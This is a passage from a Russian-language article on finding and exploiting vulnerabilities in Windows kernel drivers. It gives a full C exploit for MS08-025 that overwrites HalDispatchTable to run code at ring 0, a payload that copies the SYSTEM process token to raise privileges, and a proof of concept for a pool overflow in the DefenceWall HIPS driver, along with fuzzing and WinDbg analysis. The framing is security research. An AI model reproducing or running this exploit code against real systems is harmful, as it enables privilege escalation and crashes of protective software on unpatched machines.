8060c87f 8b45e4 mov eax,dwordptr [ebp-1Ch]
8060c882 eb2b jmp nt!NtQueryIntervalProfile+0x81 (8060c8af)
8060c884 8b750c mov esi,dwordptr [ebp+0Ch]
8060c887 ff7508 push dwordptr [ebp+8]
; KeQueryIntervalProfile получает на вход
; всего один параметр (KPROFILE_SOURCE)
8060c88a e83de00200 call nt!KeQueryIntervalProfile (8063a8cc)
8060c88f 84db test bl,bl
8060c891 7418 je nt!NtQueryIntervalProfile+0x7d (8060c8ab)
8060c893 c745fc01000000 mov dwordptr [ebp-4],1
; в первом параметре (указатель) возвращаем значение,
; которое вернула KeQueryIntervalProfile
8060c89a 8906 mov dwordptr [esi],eax
8060c89c 834dfcff or dwordptr [ebp-4],0FFFFFFFFh
8060c8a0 eb0b jmp nt!NtQueryIntervalProfile+0x7f (8060c8ad)
Системный сервис NtQueryIntervalProfile используется для работы с объектами ядра типа «профиль», а именно – для получения значения задержки между тиками счётчика производительности:
Code:Copy to clipboard
NTSYSAPI
NTSTATUS
NTAPI
NtSetIntervalProfile(
IN ULONG Interval,
IN KPROFILE_SOURCE Source
);
Таким образом, затерев в HalDispatchTable нулевым байтом поле HalQuerySystemInformation и вызвав NtQueryIntervalProfile, мы передадим управление нашему коду, находящемуся по нулевому адресу, и он будет выполнен с привилегиями режима ядра.
Теперь самое время продемонстрировать эту технику на практике, показав пример эксплуатации уже известной нам уязвимости MS08-025.
Code:Copy to clipboard
/*
эта функция получает информацию о системе
выделяя нужное количество памяти под неё
*/
PVOID GetSysInf(SYSTEMINFOCLASS Class)
{
NTSTATUS ns;
ULONG RetSize, Size = 0x1000;
PVOID Info;
while (true)
{
// выделяем память под информациюif ((Info = LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, Size)) == NULL)
{
return NULL;
}
// получаем информацию о системе
ns = NtQuerySystemInformation(Class, Info, Size, &RetSize);
if (ns == STATUS_INFO_LENGTH_MISMATCH)
{
// слишком мало памяти, пробуем ещё раз, выделяя буффер большего размера
LocalFree(Info);
Size += 0x100;
}
elsebreak;
}
if (!NT_SUCCESS(ns))
{
// NtQuerySystemInformation вернула статус ошибкиif (Info)
{
LocalFree(Info);
}
return NULL;
}
return Info;
}
/*
эта функция затирает нулями произвольное двойное слово в памяти режима ядра
*/void ClearKernelDword(DWORD Addr)
{
// нам понадобиться валидный хэндл окна
HWND hDesktopWnd = GetDesktopWindow();
if (hDesktopWnd)
{
// затираем нулями старшие 16 бит
NtUserMessageCall(hDesktopWnd, 0x0d, 0x80000000, Addr + 2, 0, 0, 0);
// затираем нулями младшие 16 бит
NtUserMessageCall(hDesktopWnd, 0x0d, 0x80000000, Addr + 0, 0, 0, 0);
}
}
__declspec(naked) void__stdcall r0_handler(void)
{
__asm
{
// этот код выполняется с привилегиями режима ядра// здесь можно совершать какие-то полезные действия// ...// возвращаемся обратно
mov eax,0xc00000001
// HalQuerySystemInformation получает через стек 4 параметра, // которые мы должны за собой почистить
retn 0x1C
}
}
/*
получение адреса какой-либо функции ядра
*/
PVOID GetKernelProcAddr(char *lpszProcName)
{
PVOID Addr = NULL;
// получаем информацию о загруженых системных модулях
PSYSTEM_MODULE_INFORMATION pModules = (PSYSTEM_MODULE_INFORMATION)GetSysInf(SystemModuleInformation);
if (pModules)
{
// информация о ядре всегда в первой записи списка,
// получаем его имя и базовый адрес
DWORD dwKernelBase = pModules->aSM[0].Base;
char *lpszKernelName =
pModules->aSM[0].ModuleNameOffset + pModules->aSM[0].ImageName;
// загружаем ядро в адресное пространство своего процесса
HMODULE hKrnl =
LoadLibraryEx(lpszKernelName, 0, DONT_RESOLVE_DLL_REFERENCES);
if (hKrnl)
{
// получаем адрес нужной функции
Addr = GetProcAddress(hKrnl, lpszProcName);
if (Addr)
{
// вычисляем адрес этой функции в "реальном" ядре
Addr = (PVOID)((DWORD)Addr - (DWORD)hKrnl + dwKernelBase);
}
// выгружаем ранее загруженный файл ядра
FreeLibrary(hKrnl);
}
// освобождаем память с информацией о системных модулях
LocalFree(pModules);
}
return Addr;
}
void exploit_ms08_025(void)
{
DWORD MappedAddress = 1;
DWORD Size = 0x1000;
// выделяем память по нулевому адресу
NTSTATUS ns = NtAllocateVirtualMemory(
GetCurrentProcess(),
(PVOID *)&MappedAddress,
0,
&Size,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE
);
if (!NT_SUCCESS(ns))
{
return;
}
// так как NtAllocateVirtualMemory вызывается с флагом MEM_TOP_DOWN, // она попытается выделить память по как можно меньшему адресу, // однако, не факт, что это будет именно адрес 0x00000000if (MappedAddress == 0)
{
// пишем в нулевую страницу памяти переход на нашу функцию, // которая будет исполняться с привилегиями режима ядра// push imm32
*(PUCHAR)(MappedAddress + 0) = 0x68;
*(PDWORD)(MappedAddress + 1) = (DWORD)r0_handler;
// ret
*(PUCHAR)(MappedAddress + 5) = 0xC3;
// получаем адрес HalDispatchTable
// (описание структуры HAL_DISPATCH см. выше)
PHAL_DISPATCH pHalDispatchTable =
(PHAL_DISPATCH)GetKernelProcAddr("HalDispatchTable");
if (pHalDispatchTable)
{
typedef NTSTATUS (__stdcall * funcNtQueryIntervalProfile)(
ULONG ProfileSource,
PULONG Interval
);
// получаем адресс функции NtQueryIntervalProfile в ntdll.dll
funcNtQueryIntervalProfile fNtQueryIntervalProfile =
(funcNtQueryIntervalProfile)GetProcAddress(
GetModuleHandle("ntdll.dll"),
"NtQueryIntervalProfile"
);
if (fNtQueryIntervalProfile)
{
DWORD Interval = 0, ProfileTotalIssues = 2;
// обнуляем указатель на HalQuerySystemInformation в HalDispatchTable
ClearKernelDword(
(DWORD)&pHalDispatchTable->HalQuerySystemInformation);
// после этого вызова управление получает r0_handler,// который выполняется с привилегиями режима ядра
fNtQueryIntervalProfile(ProfileTotalIssues, &Interval);
}
}
}
// освобождаем выделенную ранее память
NtFreeVirtualMemory(GetCurrentProcess(),
(PVOID *)&MappedAddress, &Size, MEM_RELEASE);
}
Эксплуатация локальных переполнений стека в драйверах режима ядра более чем тривиальна, и абсолютно ничем не отличается от эксплуатации схожих уязвимостей в обычных Windows-приложениях. Однако некоторые незначительные отличия всё же имеются:
Эксплуатация переполнения пула в драйверах режима ядра также аналогична эксплуатации таковых в обычных приложениях. Она сводится к переписыванию указателей, находящихся в заголовке блока пула, который следует за переполняемым, таким образом, чтобы при восстановлении связей списка во время освобождения переполняемого блока были переписаны нужные нам 4 байта. Заголовок пула режима ядра выглядит следующим образом:
Code:Copy to clipboard
typedef
struct POOL_HEADER
{
USHORT PreviousSize:9;
USHORT PoolIndex:7;
USHORT BlockSize:9;
USHORT PoolType:7;
ULONG PoolTag;
union
{
USHORT PoolTagHash;
LIST_ENTRY FreeEntry;
} u1;
} *PPOOL_HEADER;
Полезная нагрузка
Что же может сделать злоумышленник (или, например, специалист по аудиту
безопасности), получивший возможность выполнять свой код в режиме ядра? Да всё
что угодно! Обычно выполняются манипуляции по снятию перехватов, которые были
установлены защитными системами, повышению привилегий для своего процесса, или
загрузке драйвера руткита прямо из памяти.
Дальнейшие шаги в эксплуатации уязвимостей
Обычно выполнение произвольного кода с привилегиями режима ядра преследует
вполне определенные цели, среди которых злоумышленнику могут быть полезны
манипуляции по снятию перехватов, которые были установлены защитными
системами, повышению привилегий для своего процесса, или загрузке драйвера
руткита прямо из памяти. Но очень часто подобные манипуляции также являются
целью и специалиста по информационной безопасности, который в рамках
проведённого аудита ПО хочет на наглядном примере продемонстрировать опасность
найденных уязвимостей. По этой причине разработку «полезной нагрузки» для
эксплойта нам также стоит рассмотреть.
Первым делом нужно заранее получить и сохранить в глобальных переменных адреса функций ядра, которые планируется использовать. Непосредственно внутри процедуры, выполняющей какие-либо действия в режиме ядра, необходимо перезагрузить сегментный регистр FS, так как в пользовательском режиме и режиме ядра он указывает на совершенно разные структуры: Thread Environment Block (TEB) и Processor Control Region (KPCR) соответственно. Если в процессе эксплуатации был затерт нулями какой-либо адрес в HalDispatchTable, его нужно восстановить (или заменить заглушкой, если такой возможности нет), иначе – BSoD при любом вызове этой функции в контексте какого-либо другого процесса.
Для повышения привилегий какого-либо процесса достаточно выполнить следующий ряд действий:
Ниже приведён пример кода, который дополняет продемонстрированный пример эксплойта для MS08-025 повышением привилегий текущему процессу.
Code:Copy to clipboard
void GetSystemPrivileges(void)
{
/*
прежде чем эта функция будет выполнена, необходимо
проинициализировать следующие глобальные переменные,
которые содержат адреса соответствующих функций ядра:
fIoGetCurrentProcess - nt!IoGetCurrentProcess()
fPsLookupProcessByProcessId - nt!PsLookupProcessByProcessId()
fExAllocatePool - nt!ExAllocatePool()
для получения этих адресов можно использовать функцию
GetKernelProcAddr, которая фигурировала в предыдущем примере
глобальная переменная EPROCESS_TokenOffset должна содержать
смещение поля AcessToken в структуре EPROCESS для текущего ядра,
версию которого можно получить используя документированные в
MSDN функции GetVersion/GetVersionEx
*/
NTSTATUS ns;
PVOID pCurrentProcess, pSystemProcess;
PVOID pToken;
__asm
{
// устанавливаем в FS значение, используемое в режиме ядра
mov ax,0x30
mov fs,ax
}
if (pHalDispatchTable->HalQuerySystemInformation == NULL)
{
// устанавливаем заглушку вместо HalQuerySystemInformation,// если указатель на неё был обнулён
PVOID Buff = fExAllocatePool(NonPagedPool, 8);
if (Buff)
{
char Code[] =
"/xB8/x01/x00/x00/xC0"// mov eax,0xC00000001 "/xC2/x1C/x00"; // retn 0x1C
memcpy(Buff, Code, 8);
pHalDispatchTable->HalQuerySystemInformation = (pHalQuerySystemInformation)Buff;
}
}
// получаем указатель на текущий процесс
pCurrentProcess = fIoGetCurrentProcess();
// получаем указатель на процесс 'System' (PID: 4)
ns = fPsLookupProcessByProcessId((HANDLE)4, &pSystemProcess);
if (NT_SUCCESS(ns))
{
// получаем значение поля AccessToken из системного процесса
pToken = *(PVOID *)((PUCHAR)pSystemProcess + EPROCESS_TokenOffset);
// устанавливаем значение AccessToken для целевого процесса
*(PVOID *)((PUCHAR)pCurrentProcess + EPROCESS_TokenOffset) = pToken;
}
__asm
{
// возвращаем в FS старое значение для пользовательского режима
mov ax,0x3B
mov fs,ax
}
}
__declspec(naked) void__stdcall r0_handler(void)
{
__asm
{
// этот код выполняется с привилегиями ядра
call GetSystemPrivileges
// возвращаемся обратно
mov eax,0xC00000001
retn 0x1C
}
}
Автоматизация выявления уязвимостей
Большинство уязвимостей, существующих из-за неправильной обработки данных,
которые драйвер получает в IRP-запросе, довольно однотипны, что заставляет нас
задаться вполне рациональным вопросом – “А можно ли автоматизировать их
выявление?” Да, это более чем возможно. Автоматизированный анализ хоть и не
избавит исследователя от рутинной работы полностью, но поможет существенно
сократить её количество, задавая общее направление для дальнейшего копания.
Ведь давно замечено, что обычно некорректная обработка входных данных не
является разовым явлением и, найдя одну, пусть даже не эксплуатируемую
уязвимость, мы с огромной вероятностью найдём и другую, проследив либо data
flow, либо другие участки программного кода, выполняющие аналогичную задачу.
Для наших целей замечательно подойдёт метод фаззинга. В самом обобщенном понимании, суть фаззинга заключается в генерации и отправке заведомо некорректных входных данных с расчётом на то, что код, который их обрабатывает, попросту не учитывает возможность присутствия подобных некорректностей. Очевидно, что для формирования этих данных нам нужно как минимум знать их формат, что в случае с обработкой IRP-запросов, посылаемых неизвестным приложением неизвестному драйверу, опять упирается в ручной анализ. Однако из этого замкнутого круга есть выход. Взгляните на схему ниже, она несколько отличается от схемы нормального прохождения IRP-запроса, приведенной в первой части статьи:
Рисунок 6. Взаимодействие фаззера с системой.
Драйвер нашей утилиты-фаззера будет перехватывать функцию ядра NtDeviceIoControlFile, получая, таким образом, возможность контролировать отправку всех IRP-запросов от приложений к драйверам режима ядра. Также, во время обработки запроса к интересующему нас драйверу, фаззер отправляет свой запрос, используя такие же размеры буферов и I/O Control Code, но генерируя входные данные псевдослучайным образом. Это частично и избавляет нас от необходимости проведения реверс-инжениринга с целью узнать формат принимаемых драйвером данных, ведь достаточно будет узнать хотя бы I/O Control Code и их размер.
Для проведения фаззинга мной была написана утилита IOCTL Fuzzer, которая помимо основной функциональности имеет режим мониторинга с выводом как основных параметров и информации об IRP-запросе, так и HEX-дампа данных, в окно консоли или текстовый лог-фал. Фильтрация целевых запросов (т.е., отсеивание только тех, которые нас интересуют) осуществляется по allow/deny- спискам, где в качестве параметров для фильтрации можно указывать:
Окно IOCTL Fuzzer-а во время его работы выглядит так:
Рисунок 7. Фаззер в процессе работы.
Обычно тестирование какого-либо ПО с помощью данной утилиты производится в несколько шагов:
Фаззинг в реальных условиях
Идея проверить фаззером именно DefenceWall HIPS пришла мне в голову после
прочтения результатов теста на эффективность защиты от новейших вредоносных
программ. Этот тест проводился порталом anti-malware (ознакомиться с
результатами можно здесь: http://www.anti-malware.ru/node/885), и именно
DefenceWall (последняя версия на момент тестирования – 1.74), сравнительно
молодой продукт от российских разработчиков, занял первое место по итогам
тестирования.
Сказано – сделано. Довольно быстро на виртуальной машине произошло падение подопытного HIPS-а. В логе отладочных сообщений, выводимых фаззером, была следующая информация:
Code:Copy to clipboard
'C:\DefenseWall\DefenseWall.exe' (PID: 188)
'\Device\dwall' (0x81785670) [\SystemRoot\System32\Drivers\dwall.sys]
IOCTL Code: 0x00222050, Method: METHOD_BUFFERED
InBuff: 0x0126fd50, InSize: 0x0000000e
OutBuff: 0x0126fd50, OutSize: 0x0000000e
'C:\DefenseWall\DefenseWall.exe' (PID: 188)
'\Device\dwall' (0x81785670) [\SystemRoot\System32\Drivers\dwall.sys]
IOCTL Code: 0x00222050, Method: METHOD_BUFFERED
InBuff: 0x0126fd50, InSize: 0x0000000e
OutBuff: 0x0126fd50, OutSize: 0x0000000e
'C:\DefenseWall\DefenseWall.exe' (PID: 188)
'\Device\dwall' (0x81785670) [\SystemRoot\System32\Drivers\dwall.sys]
IOCTL Code: 0x0022200c, Method: METHOD_BUFFERED
InBuff: 0x00dfffb0, InSize: 0x00000004
OutBuff: 0x00dfffb0, OutSize: 0x00000004
'C:\DefenseWall\DefenseWall.exe' (PID: 188)
'\Device\dwall' (0x81785670) [\SystemRoot\System32\Drivers\dwall.sys]
IOCTL Code: 0x00222094, Method: METHOD_BUFFERED
InBuff: 0x00f60000, InSize: 0x00080012
OutBuff: 0x00f60000, OutSize: 0x00080012
Очевидно, что при обработке последнего IRP-запроса с I/O Control Code, равным 0x00222094, исключение и произошло. Далее дело за отладчиком, который поможет нам понять его причину. В ответ на !analyze –v, WinDbg, помимо всего прочего, показал нам такие строки:
Code:Copy to clipboard
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e108b000, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 80536d60, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000001, (reserved)
Также отладчик сообщил, что адрес 0xe108b000, по которому осуществлялась вызвавшая исключение попытка записи, принадлежит подкачиваемому пулу ядра. А это хорошие новости, так как мы имеем дело с переполнением пула, которое, скорее всего, подлежит эксплуатации. Вывод команд kb (kernel backtrace) и !irp подтвердил предположение об вызвавшем исключение IRP-запросе:
Code:Copy to clipboard
kd> kb
ChildEBP RetAddr Args to Child
f7bc63c8 804f780d 00000003 e108b000 00000000 nt!RtlpBreakWithStatusInstruction
f7bc6414 804f83fa 00000003 00000000 c0708458 nt!KiBugCheckDebugBreak+0x19
f7bc67f4 804f8925 00000050 e108b000 00000001 nt!KeBugCheck2+0x574
f7bc6814 8051bf07 00000050 e108b000 00000001 nt!KeBugCheckEx+0x1b
f7bc6874 8053f6ec 00000001 e108b000 00000000 nt!MmAccessFault+0x8e7
f7bc6874 80536d60 00000001 e108b000 00000000 nt!KiTrap0E+0xcc
f7bc6904 f8017040 e107b000 814c100f 815b9760 nt!wcscat+0x1f
WARNING: Stack unwind information not available. Following frames may be wrong.
f7bc6974 f80038d3 814c100f 814a1003 814e100f dwall+0x47040
f7bc6adc 804eddf9 81785670 816db978 806d02d0 dwall+0x338d3
f7bc6aec 80573b42 816db9e8 81694038 816db978 nt!IopfCallDriver+0x31
f7bc6b00 805749d1 81785670 816db978 81694038 nt!IopSynchronousServiceTail+0x60
f7bc6ba8 8056d33c 00000058 00000000 00000000 nt!IopXxxControlFile+0x5e7
f7bc6bdc f8001106 00000058 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f7bc6c20 f9da590f 00000058 00000000 00000000 dwall+0x31106
f7bc6d34 8053c808 00000058 00000000 00000000 IOCTL_fuzzer+0x190f
f7bc6d34 7c90eb94 00000058 00000000 00000000 nt!KiFastCallEntry+0xf8
00cff9ec 7c90d8ef 7c801671 00000058 00000000 ntdll!KiFastSystemCallRet
00cff9f0 7c801671 00000058 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
00cffa50 0042fc3b 00000058 00222094 00f60000 kernel32!DeviceIoControl+0xdd
00cffaa8 0040ce9d 00f50000 00000000 009e0000 DefenseWall+0x2fc3b
kd> !irp 816db978
Irp is active with 1 stacks 1 is current (= 0x816db9e8)
No Mdl: System buffer=814a1000: Thread 815b9550: Irp stack trace.
cmd flg cl Device File Completion-Context
>[ e, 0] 5 0 81785670 81694038 00000000-00000000
\Driver\dwall
Args: 00080012 00080012 00222094 00000000
Выделенный адрес есть не что иное, как указатель на структуру _IRP, который передаётся в стеке обработчику IRP_MJ_DEVICE_CONTROL целевого драйвера. Теперь мы можем совершенно точно сказать, что исключение было вызвано запросом с кодом 0x00222094. Дальнейший анализ стека вызовов приводит нас к процедуре, начинающейся по адресу dwall+0x46f00. В самом начале она выделяет участок памяти фиксированного размера в подкачиваемом пуле:
Code:Copy to clipboard
; размер выделяемой памяти
f8016f2a 6800000100 push 10000h
; тип пула (1 = PagedPool)
f8016f2f 6a01 push 1
f8016f31 e8eea9fbff call dwall+0x1924 (f7fd1924)
f8016f36 8945c4 mov dwordptr [ebp-3Ch],eax; обратите внимание на отсутствие проверки успешности выделения памяти; такие огрехи не слишком критичны, но могут много чего рассказать о разработчике =)
Далее происходит копирование данных из полученного в IRP-запросе буфера в выделенную память без проверки их размера, что и вызывает переполнение пула:
Code:Copy to clipboard
; адрес строки "\\Registry\\Machine\\SOFTWARE\\SoftSphere Technologies\\DefenceWall"
f8017022 68187104f8 push offset dwall+0x77118 (f8047118)
; указатель на выделенную ранее память
f8017027 8b45c4 mov eax,dwordptr [ebp-3Ch]
f801702a 50 push eax; вызов функции wcscpy
f801702b e8c8670100 call dwall+0x5d7f8 (f802d7f8)
f8017030 83c408 add esp,8
; первый параметр, который был передан в функцию dwall+0x46f00; он указывает на данные, которые находятся во входном буфере IRP-запроса по смещению 2000Fh
f8017033 8b4d08 mov ecx,dwordptr [ebp+8]
f8017036 51 push ecx; указатель на выделенную ранее память
f8017037 8b55c4 mov edx,dwordptr [ebp-3Ch]
f801703a 52 push edx; вызов функции wcscat
f801703b e8be670100 call dwall+0x5d7fe (f802d7fe)
f8017040 83c408 add esp,8
Пример Proof of Concept кода, демонстрирующего данную уязвимость, весьма тривиален:
Code:Copy to clipboard
#include <windows.h>
#include"ntdll.h"#define BUFF_SIZE 0x00080012
#define IOCTL_CODE 0x00222094
int _tmain(int argc, _TCHAR* argv[])
{
IO_STATUS_BLOCK StatusBlock;
NTSTATUS ns;
// открываем устройство драйвера DefenceWall-а
HANDLE hDev = CreateFile(
"\\\\.\\Global\\dwall",
GENERIC_READ | GENERIC_WRITE,
0, NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDev == INVALID_HANDLE_VALUE)
{
// ошибка при открытии устройстваreturn -1;
}
// выделяем участок памяти нужного размера для данныхchar *Buff = (char *)VirtualAlloc(NULL, BUFF_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (Buff)
{
// заполняем его мусором
memset(Buff, 'A', BUFF_SIZE);
// отправляем запрос устройству
ns = NtDeviceIoControlFile(
hDev,
NULL, NULL, NULL,
&StatusBlock,
IOCTL_CODE,
Buff, BUFF_SIZE,
Buff, BUFF_SIZE
);
}
CloseHandle(hDev);
return 0;
}
IOCTL Fuzzer помог мне найти уязвимости не только в DefenceWall-е, но и во многих других антивирусах и продуктах класса Internet Security, которые были протестированы. Этот факт подтверждает весьма хорошие перспективы в плане дальнейшего использования данного метода, даже несмотря на всю его простоту и примитивность.
Ручной поиск уязвимостей
Уязвимости могут скрываться не только в обработчиках IRP-запросов: точек
взаимодействия драйвера и других компонентов операционной системы может быть
довольно много. К тому же, рассмотренный ранее метод фаззинга не является чем-
то самостоятельным, и его стоит воспринимать исключительно как технику сугубо
инструментального характера, предназначенную для частичной автоматизации
одного из этапов ручного анализа. А раз уж мы сказали, что получение данных
драйвером средствами диспетчера ввода-вывода является лишь одной точкой
взаимодействия, необходимо уделить внимание и другим возможным:
Рассмотрим все эти пути по порядку.
Очевидно, что полный реверсинг бинарного файла драйвера может оказаться слишком трудоёмким, но в случае, когда драйвер читает данные из файлов или системного реестра, у нас попросту нет другого выбора. Конечно, существуют утилиты вроде Registry Monitor и File Monitor от Марка Руссиновича (http://technet.microsoft.com/en-us/sysinternals/default.aspx), но они предназначены в первую очередь для мониторинга активности со стороны процессов пользовательского режима, и для нахождения точек взаимодействия находящихся внутри конкретных драйверов режима ядра не подходят в принципе. Хотя вполне возможно и самостоятельное написание инструментов подобного плана, которые бы подходили для анализа активности со стороны драйверов режима ядра.
С перехватами функций ядра исследуемым драйвером дела обстоят гораздо лучше: есть масса антируткитов, которые способны их обнаруживать и представлять информацию в виде вполне наглядного отчёта. Для наших целей лучше всего подходит бесплатная утилита под названием Rookit Unhooker, которая уже упоминалась в статье:
Рисунок 8. Rootkit Unhooker нашел перехваты, установленные Kaspersky Internet
Security.
Суть дальнейшей работы по поиску уязвимостей заключается в анализе машинного кода обработчиков найденных перехватов с целью установить, насколько корректно обрабатываются получаемые в них данные. По итогам анализа также весьма логичным будет написание узкоспециализированного фаззера, который будет каким- либо образом добиваться передачи управления перехватываемой функции и передачи ей заведомо некорректных параметров. В качестве примера подобного фаззера можно привести утилиту BSODhook (http://www.matousec.com/projects/bsodhook/), которая предназначена для фаззинга перехваченных системных сервисов.
Для перехвата сетевого трафика NDIS драйверы промежуточного уровня вместо перехватов каких-либо функций могут использовать и предусмотренные разработчиками операционной системы методы фильтрации. Рассказ о сути самих методов выходит за рамки тематики данной статьи, но для исследователя будет важен тот факт, что данные методы требуют создания со стороны драйвера-фильтра дополнительных NDIS протоколов и минипортов, с которыми будут ассоциированы функции-обработчики, вызываемые NDIS-библиотекой для передачи драйверу информации о сетевых запросах. Для работы с NDIS протоколами и минипортами отладчик WinDbg имеет расширение под названием ndiskd.dll, которое подробно описано в документации к Debugging Tools For Windows. Использовать это расширение для поиска обработчиков сетевых запросов драйвера-фильтра очень просто. Ниже я продемонстрирую это на примере фильтра, устанавливаемого Outpost Firewall.
Code:Copy to clipboard
kd> !load ndiskd.dll
kd> !protocols
Protocol 8178ff20: TCPIP_WANARP
Open 8178fe58 - Miniport: 818bd930 WAN Miniport (IP) - Packet Scheduler Miniport
Protocol 818b86f8: TCPIP
Open 817a3da8 - Miniport: 818bd130 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Protocol 81998af8: NDPROXY
Open 817d3e60 - Miniport: 818c26c8 WAN Miniport (L2TP)
Open 817d4298 - Miniport: 818c26c8 WAN Miniport (L2TP)
Open 818a56c0 - Miniport: 818b9538 Direct Parallel
Open 818a57c0 - Miniport: 818b9538 Direct Parallel
Protocol 818bc150: PSCHED
Open 817c8eb8 - Miniport: 818c3130 VMware Accelerated AMD PCNet Adapter - Agnitum firewall miniport
Open 817cd6f8 - Miniport: 818c5a60 WAN Miniport (IP) - Agnitum firewall miniport
Open 817d07e0 - Miniport: 818c5130 WAN Miniport (Network Monitor) - Agnitum firewall miniport
Protocol 818c0e38: RASPPPOE
Protocol 818c1600: NDISWAN
Open 818a6c98 - Miniport: 818b9538 Direct Parallel
Open 817d22f8 - Miniport: 818be7d0 WAN Miniport (PPTP)
Open 818a7cd0 - Miniport: 818c0900 WAN Miniport (PPPOE)
Open 81940420 - Miniport: 818c26c8 WAN Miniport (L2TP)
Protocol 81901260: AFW
Open 817cb9b8 - Miniport: 818c7ad0 VMware Accelerated AMD PCNet Adapter
Open 817d02e8 - Miniport: 818c0130 WAN Miniport (IP)
Open 819e8da8 - Miniport: 818bfb08 WAN Miniport (Network Monitor)
kd> dt _NDIS_OPEN_BLOCK 817cb9b8
NDIS!_NDIS_OPEN_BLOCK
+0x000 MacHandle : 0x817cc008
+0x004 BindingHandle : 0x817cb9b8
+0x008 MiniportHandle : 0x818c7ad0 _NDIS_MINIPORT_BLOCK
+0x00c ProtocolHandle : 0x81901260 _NDIS_PROTOCOL_BLOCK
+0x010 ProtocolBindingContext : 0x817cba80
+0x014 MiniportNextOpen : (null)
+0x018 ProtocolNextOpen : 0x817d02e8 _NDIS_OPEN_BLOCK
+0x01c MiniportAdapterContext : 0x818a1000
+0x020 Reserved1 : 0 ''
+0x021 Reserved2 : 0 ''
+0x022 Reserved3 : 0 ''
+0x023 Reserved4 : 0 ''
+0x024 BindDeviceName : 0x818c7ae0 _UNICODE_STRING "\DEVICE\{368D404A-029C-46C5-8ED5-1F440E809B8E}"
+0x028 Reserved5 : 0
+0x02c RootDeviceName : 0x818ad134 _UNICODE_STRING "\DEVICE\{368D404A-029C-46C5-8ED5-1F440E809B8E}"
+0x030 SendHandler : 0xf964887b int NDIS!ndisMSendX+0
+0x030 WanSendHandler : 0xf964887b int NDIS!ndisMSendX+0
+0x034 TransferDataHandler : 0xf965efd5 int NDIS!ndisMTransferData+0
+0x038 SendCompleteHandler : 0xf955eaa6 void afw+9aa6
+0x03c TransferDataCompleteHandler : 0xf955ed06
+0x040 ReceiveHandler : 0xf955edfc
+0x044 ReceiveCompleteHandler : 0xf955ebd8
+0x048 WanReceiveHandler : (null)
+0x04c RequestCompleteHandler : 0xf955eb42
+0x050 ReceivePacketHandler : 0xf955f118
+0x054 SendPacketsHandler : 0xf966024f void NDIS!ndisMSendPacketsX+0
+0x058 ResetHandler : 0xf9660b56 int NDIS!ndisMReset+0
+0x05c RequestHandler : 0xf965d8b7 int NDIS!ndisMRequestX+0
+0x060 ResetCompleteHandler : 0xf955eb3a
+0x064 StatusHandler : 0xf955f370
+0x068 StatusCompleteHandler : 0xf955ebf8
...
Выделенный адрес – указатель на структуру NDIS_OPEN_BLOCK. Он является дескриптором, который возвращает функция NdisOpenAdapter после установки связи между NDIS протоколом, созданным драйвером файрвола (в списке протоколов он называется AFW), и промежуточным NDIS-драйвером, представляющим физический сетевой адаптер.
Очень часто для перехвата сетевого трафика драйверы персональных файрволов подменяют адреса обработчиков в уже имеющихся структурах NDIS_OPEN_BLOCK, которые принадлежат NDIS-протоколу TCPIP (это стандартный NDIS-протокол, создаваемый при загрузке системы драйвером tcpip.sys, в котором реализована функциональность TCP/IP-стека). Следующий пример демонстрирует поиск подобных перехватов, установленных файрволом ZoneAlarm.
Code:Copy to clipboard
kd> !load ndiskd.dll
kd> !protocols
Protocol 81685720: VSDATANT
Protocol 8179f330: TCPIP_WANARP
Open 8162d388 - Miniport: 818bf130 WAN Miniport (IP) - Packet Scheduler Miniport
Protocol 818b8a68: TCPIP
Open 817ae510 - Miniport: 818be900 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Protocol 819e8508: NDPROXY
Open 818ab008 - Miniport: 818bd130 Direct Parallel
Open 818a80d8 - Miniport: 818bd130 Direct Parallel
Open 818ab6c0 - Miniport: 818c5698 WAN Miniport (L2TP)
Open 818ab7c0 - Miniport: 818c5698 WAN Miniport (L2TP)
Protocol 818bef28: PSCHED
Open 818a95b0 - Miniport: 818c86b8 VMware Accelerated AMD PCNet Adapter
Open 818aa5b8 - Miniport: 818c3130 WAN Miniport (IP)
Open 819e7e70 - Miniport: 818c2b08 WAN Miniport (Network Monitor)
Protocol 818c3e38: RASPPPOE
Protocol 818c4628: NDISWAN
Open 818a92f8 - Miniport: 818bd130 Direct Parallel
Open 818abe90 - Miniport: 818c14a0 WAN Miniport (PPTP)
Open 818b11f8 - Miniport: 818c3900 WAN Miniport (PPPOE)
Open 81940f08 - Miniport: 818c5698 WAN Miniport (L2TP)
kd> dt _NDIS_OPEN_BLOCK 817ae510
NDIS!_NDIS_OPEN_BLOCK
+0x000 MacHandle : 0x817ae4a0
+0x004 BindingHandle : 0x817ae510
+0x008 MiniportHandle : 0x818be900 _NDIS_MINIPORT_BLOCK
+0x00c ProtocolHandle : 0x818b8a68 _NDIS_PROTOCOL_BLOCK
+0x010 ProtocolBindingContext : 0x817ae728
+0x014 MiniportNextOpen : (null)
+0x018 ProtocolNextOpen : (null)
+0x01c MiniportAdapterContext : 0x817d6250
+0x020 Reserved1 : 0 ''
+0x021 Reserved2 : 0 ''
+0x022 Reserved3 : 0 ''
+0x023 Reserved4 : 0 ''
+0x024 BindDeviceName : 0x818be910 _UNICODE_STRING "\DEVICE\{D67A5C72-2D77-4C72-98B1-F7E870565167}"
+0x028 Reserved5 : 0
+0x02c RootDeviceName : 0x818ab57c _UNICODE_STRING "\DEVICE\{368D404A-029C-46C5-8ED5-1F440E809B8E}"
+0x030 SendHandler : 0x81654018
+0x030 WanSendHandler : 0x81654018
+0x034 TransferDataHandler : 0xf965efd5 int NDIS!ndisMTransferData+0
+0x038 SendCompleteHandler : 0xf81e37a8 void tcpip!ARPSendComplete+0
+0x03c TransferDataCompleteHandler : 0xf8216681 void tcpip!ARPTDComplete+0
+0x040 ReceiveHandler : 0x81654098
